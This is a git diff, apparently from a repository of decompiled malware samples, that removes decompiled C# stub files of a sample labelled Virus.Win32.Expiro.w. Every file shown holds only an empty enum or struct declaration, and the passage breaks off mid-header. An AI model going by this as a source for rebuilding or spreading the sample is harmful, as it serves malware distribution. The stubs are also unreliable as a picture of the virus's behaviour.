b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PORT_CODE_SET.cs deleted file mode 100644 index 1a634d48..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PORT_CODE_SET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_PORT_CODE_SET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _STORAGE_PORT_CODE_SET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PROPERTY_ID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PROPERTY_ID.cs deleted file mode 100644 index 3bd8be22..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PROPERTY_ID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_PROPERTY_ID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_PROPERTY_ID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_QUERY_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_QUERY_TYPE.cs deleted file mode 100644 index df3641f0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_QUERY_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_QUERY_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _STORAGE_QUERY_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STREAM_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STREAM_INFO_LEVELS.cs deleted file mode 100644 index cbd79da2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STREAM_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STREAM_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STREAM_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SYSTEM_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SYSTEM_POWER_STATE.cs deleted file mode 100644 index 155b9ef1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SYSTEM_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SYSTEM_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SYSTEM_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SecDelegationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SecDelegationType.cs deleted file mode 100644 index 398f50ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SecDelegationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SecDelegationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SecDelegationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TAPE_DRIVE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TAPE_DRIVE_PROBLEM_TYPE.cs deleted file mode 100644 index 40fc2a4c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TAPE_DRIVE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TAPE_DRIVE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TAPE_DRIVE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs deleted file mode 100644 index 1b7abfa1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_COMMON_BUTTON_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TASKDIALOG_COMMON_BUTTON_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ELEMENTS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ELEMENTS.cs deleted file mode 100644 index b3c0ac3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ELEMENTS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_ELEMENTS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TASKDIALOG_ELEMENTS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_FLAGS.cs deleted file mode 100644 index 98e4d2a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TASKDIALOG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ICON_ELEMENTS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ICON_ELEMENTS.cs deleted file mode 100644 index 652fe675..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ICON_ELEMENTS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_ICON_ELEMENTS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _TASKDIALOG_ICON_ELEMENTS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_MESSAGES.cs deleted file mode 100644 index b2140548..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TASKDIALOG_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_NOTIFICATIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_NOTIFICATIONS.cs deleted file mode 100644 index da1213e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_NOTIFICATIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_NOTIFICATIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TASKDIALOG_NOTIFICATIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_THDTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_THDTYPE.cs deleted file mode 100644 index 113a8371..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_THDTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _THDTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _THDTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_ELEVATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_ELEVATION_TYPE.cs deleted file mode 100644 index ea515cea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_ELEVATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_ELEVATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TOKEN_ELEVATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_INFORMATION_CLASS.cs deleted file mode 100644 index 426d5303..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TOKEN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_MANDATORY_LABEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_MANDATORY_LABEL.cs deleted file mode 100644 index 2198d5de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_MANDATORY_LABEL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_MANDATORY_LABEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _TOKEN_MANDATORY_LABEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_OWNER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_OWNER.cs deleted file mode 100644 index 2757f4f7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_OWNER.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_OWNER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct _TOKEN_OWNER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_STATISTICS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_STATISTICS.cs deleted file mode 100644 index 16cd428d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_STATISTICS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_STATISTICS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _TOKEN_STATISTICS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_TYPE.cs deleted file mode 100644 index 91fe777b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TOKEN_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TP_CALLBACK_ENVIRON.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TP_CALLBACK_ENVIRON.cs deleted file mode 100644 index c383731a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TP_CALLBACK_ENVIRON.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TP_CALLBACK_ENVIRON -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _TP_CALLBACK_ENVIRON -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u002480\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u002481\u0024 - { - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u002480\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u002481\u0024 - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs deleted file mode 100644 index bc1c2182..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTIONMANAGER_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TRANSACTIONMANAGER_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_INFORMATION_CLASS.cs deleted file mode 100644 index 94fec166..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: 